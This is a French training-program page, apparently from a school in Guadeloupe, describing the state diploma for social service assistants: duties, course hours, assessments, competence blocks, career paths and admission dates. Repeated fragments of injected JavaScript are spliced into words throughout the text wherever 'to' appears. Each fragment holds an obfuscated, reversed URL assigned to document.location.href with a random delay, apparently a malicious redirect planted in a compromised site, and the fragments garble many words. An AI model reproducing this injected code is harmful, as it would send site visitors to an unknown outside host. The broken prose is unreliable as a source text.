Filière SOCIALE : ACCOMPAGNEMENT SOCIAL — Niveau 6
L’Assistant(e) de Service Social (ASS) est un(e) professionnel(le) du travail social. Il(elle) exerce dans le cadre d’un mandat et de missions institutionnelles. Il(elle) mène des interventions sociales, individuelles ou collectives, en vue d’améliorer par une approche globale et d’accompagnement social les conditions de vie des personnes et des familles.
Les Assistant(es) de Service Social et les étudiant(es) se préparant à l’exercice de cette profession sont tenus au secret professionnel dans les conditions et sous les réserves énoncées aux articles 22613 et 226-14 du Code pénal et à l’article L411-3 du Code de l’action sociale et des familles.
L’Assistant(e) de Service social intervient dans une démarche éthique et déontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tologique, dans le respect de l’altérité et de la singularité de la personne et du collectif. Il(elle) instaure une relation visant à favoriser la participation des personnes dans l’accompagnement social individuel et collectif.
Dans le cadre des missions qui lui sont confiées, l’Assistant(e) de Service Social accomplit des actes professionnels engageant sa responsabilité par ses choix et ses prises de décision, qui tiennent compte de la loi, des politiques sociales et de l’intérêt des personnes.
[dt_sc_toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toggle_framed title= »Références »]Cadre légal : Arrêté du 22 août 2018 relatif au Diplôme d’État d’Assistant de Service Social. La possession du Diplôme d’Assistant de Service est obligatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire pour l’exercice du métier.[/dt_sc_toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toggle_framed] [dt_sc_toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toggle_framed title= »Objectifs de la formation »]Former des travailleurs sociaux capables :
- De proposer des projets d’accompagnement social s’inscrivant dans la durée et visant à favoriser l’autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonomie des usagers
- D’être force de proposition auprès des instances locales et des politiques
- De favoriser et/ou maintenir la cohésion sociale
- Être titulaire d’un diplôme du secteur paramédical délivré par l’Etat, homologué ou enregistré au répertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire national des certifications professionnelles à un niveau au moins égal au niveau 4 de la convention interministérielle des niveaux de formation
- Être titulaire d’un diplôme au moins de niveau 4, délivré par l’Etat et visé à l’article L.451-1 du code de l’action sociale et des familles
- Volume horaire 3560 heures dont :
- 1740 heures de théorie en centre de formation
- 1820 heures (52 semaines) de stage pratique
- L’alternance intégrative
- Un enseignement universitaire porté par l’initiation à la méthode de recherche
- Cours en centre de formation dispensés par des universitaires, des professionnels du secteur social et des formateurs qualifiés
- Réalisation de travaux individuels, de groupe, d’activités liées à la compréhension du métier
- Stages pratiques
- Evaluation à chaud (Tout au long des trois années de formation)
- Evaluation à froid (six mois après la formation)
- Évaluation formative :
- Contrôles continus sous forme de devoirs
- Travaux dirigés
- Devoirs sur table
- Exposés
- Constitution de dossiers (à partir de recherche et/ ou d’activités professionnelles)
- Mises en situation
Les notes obtenues lors des contrôles continus sont recensées dans un relevé de notes semestriel validé par l’école Form’Action et par l’Université des Antilles Pôle Guadeloupe.
- Évaluation de certification
CERTIFICATION DES BLOCS DE COMPÉTENCES
Les blocs de compétences sont capitalisables. Ils peuvent être acquis séparément conformément au tableau ci-dessous.
DC |
Bloc de compétences |
Epreuve de certification |
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DC1 |
Bloc de compétences n° 1 : Intervention sociale individuelle |
Présentation d’une intervention sociale individuelle |
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Bloc de compétences n° 2 : Intervention sociale collective |
Présentation d’une intervention sociale collective |
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DC2 |
Bloc de compétences n° 3 : Diagnostic social territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial |
Présentation d’un diagnostic social territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial |
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Bloc de compétences n° 4 : Analyse de l’environnement social, familial et territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial |
Mémoire de pratique professionnelle |
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DC3 |
Bloc de compétences n° 5 : Expression et communication écrite et orale |
Etude de situation |
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Bloc de compétences n° 6 : Communication professionnelle en travail social |
Elaboration d’une communication professionnelle |
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DC4 |
Bloc de compétences n° 7 : Connaissance et analyse des contextes institutionnels |
Contrôle de connaissances sur les politiques sociales |
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Bloc de compétences n° 8 : Mobilisation des acteurs et des partenaires |
Analyse d’une situation partenariale |
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En application de l’article D. 451-8 du code de l’action sociale et des familles, les blocs de compétences 5 à 8 des diplômes du travail social mentionnés au 16° de l’article D. 612-32-2 du code de l’éducation sont correspondants et sont donc réputés acquis et transférables entre ces diplômes.
[/dt_sc_toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toggle_framed] [dt_sc_toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toggle_framed title= »Equivalences et passerelles »]- Équivalences : Néant
- Passerelles : Titulaire de Diplômes d’État de niveau 6 (DEES ; DEETS ; DEEJE ; DECESF).
- Le Certificat d’Aptitude aux Fonctions d’Encadrements et Responsable d’Unité Intervention Sociale – CAFERUIS (niveau 6)
- Le Diplôme d’Etat d’Ingénierie Sociale – DEIS (niveau 7)
Débouchés :
- Dans l’intervention sociale spécialisée :
- Etablissements scolaires
- Collectivités territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toriales (départements, communes, CCAS, Villes…)
- Etablissements hospitaliers et de santé
- Prisons
- Grandes entreprises (EDF, Air-France, Port-Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonome…)
- Dans les organismes du secteur social, médico-social et d’insertion :
- CAF, CGSS
- Pôle emploi
- Mission locale
- Associations du secteur social et médico-social
- Autre débouché :
- Mandataire Judiciaire à la Protection des Majeurs.
Evolution de carrière
Conseiller Technique de Service Social (CTSS) des administrations de l’État :
- Par voie de concours
- Au choix après inscription sur une liste d’aptitude
- 85 %
L’inscription à la formation est possible via la plateforme PARCOURSUP.
b. Autres candidats (demandeurs d’emploi, salariés …)
Retrait d’un dossier d’inscription au secrétariat ou sur le site de l’école
Épreuves de sélection : les candidats sont sélectionnés
- Sur dossier (profil du candidat, pièces justifiant sa candidature)
- Un entretien individuel devant un jury d’école qui permet d’apprécier les motivations du candidat (qualités humaines d’empathie de bienveillance et d’écoute, gestion des émotions, montrer son intérêt pour les questions sociales et son ouverture sur le monde.
- Retrait des dossiers d’inscription : Janvier 2022
- Date limite de dépôt des dossiers : Février 2022
- Début prévisionnel de la formation : Septembre 2022
- Frais de sélection : 100,00 euros réglés au moment du dépôt du dossier d’inscription
- Prise en charge des coûts pédagogiques :
- Étudiants et demandeurs d’emploi : prise en charge par le Conseil régional et le FSE
- Autres candidats : possibilités de mobiliser d’autres financements se rapprocher de FORM’ACTION